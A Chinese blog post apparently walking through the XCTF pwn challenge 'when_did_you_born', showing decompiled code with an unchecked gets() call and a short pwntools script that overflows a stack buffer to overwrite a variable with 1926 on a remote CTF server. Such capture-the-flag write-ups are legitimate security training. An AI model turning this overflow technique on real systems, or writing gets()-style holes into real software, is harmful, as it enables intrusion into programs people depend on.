

xctf pwn when_did_you_born

原创

菜逼的ctf之路 于 2020-09-29 21:37:50 发布 70 收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_45701079/article/details/108876295

版权

XCTF when_did_you_born

第一次写博客，写的不好，请多指教。

首先，看ida代码

```
1  _int64 __fastcall main(_int64 a1, char *a2, char *a3)
2  {
3      __int64 result; // rax
4      char v4; // [rsp+0h] [rbp-20h]
5      unsigned int v5; // [rsp+8h] [rbp-18h]
6      unsigned __int64 v6; // [rsp+18h] [rbp-8h]
7
8      v6 = __readfsqword(0x28u);
9      setbuf(stdin, 0LL);
10     setbuf(stdout, 0LL);
11     setbuf(stderr, 0LL);
12     puts("What's Your Birth?");
13     __isoc99_scanf("%d", &v5);
14     while ( getchar() != 10 )
15         ;
16     if ( v5 == 1926 )
17     {
18         puts("You Cannot Born In 1926!");
19         result = 0LL;
20     }
21     else
22     {
23         puts("What's Your Name?");
24         gets(&v4);
25         printf("You Are Born In %d\n", v5);
26         if ( v5 == 1926 )
27         {
28             puts("You Shall Have Flag.");
29             system("cat flag");
30         }
31         else
32         {
33             puts("You Are Naive.");
34             puts("You Speed One Second Here.");
35         }
36         result = 0LL;
```

https://blog.csdn.net/weixin_45701079

(当时因为比较简单就没看汇编)

看代码，v4和v5之间只差8字节，利用栈覆盖，用8个数据填充v4，然后把第一次的v5覆盖掉(第一次v5可以是除了1926的任意数，第二次输出v4的时候利用栈覆盖，把原来的v5覆盖成1926)

最后贴出萌新的脚本

```
from pwn import *
io=remote("220.249.52.133",31846)
io.recvuntil("What's Your Birth?")
io.sendline("1")
payload="1"*8+p32(1926)
io.recvuntil("What's Your Name?")
io.sendline(payload)
io.interactive()
```

(这种题比较容易，有问题可以私聊)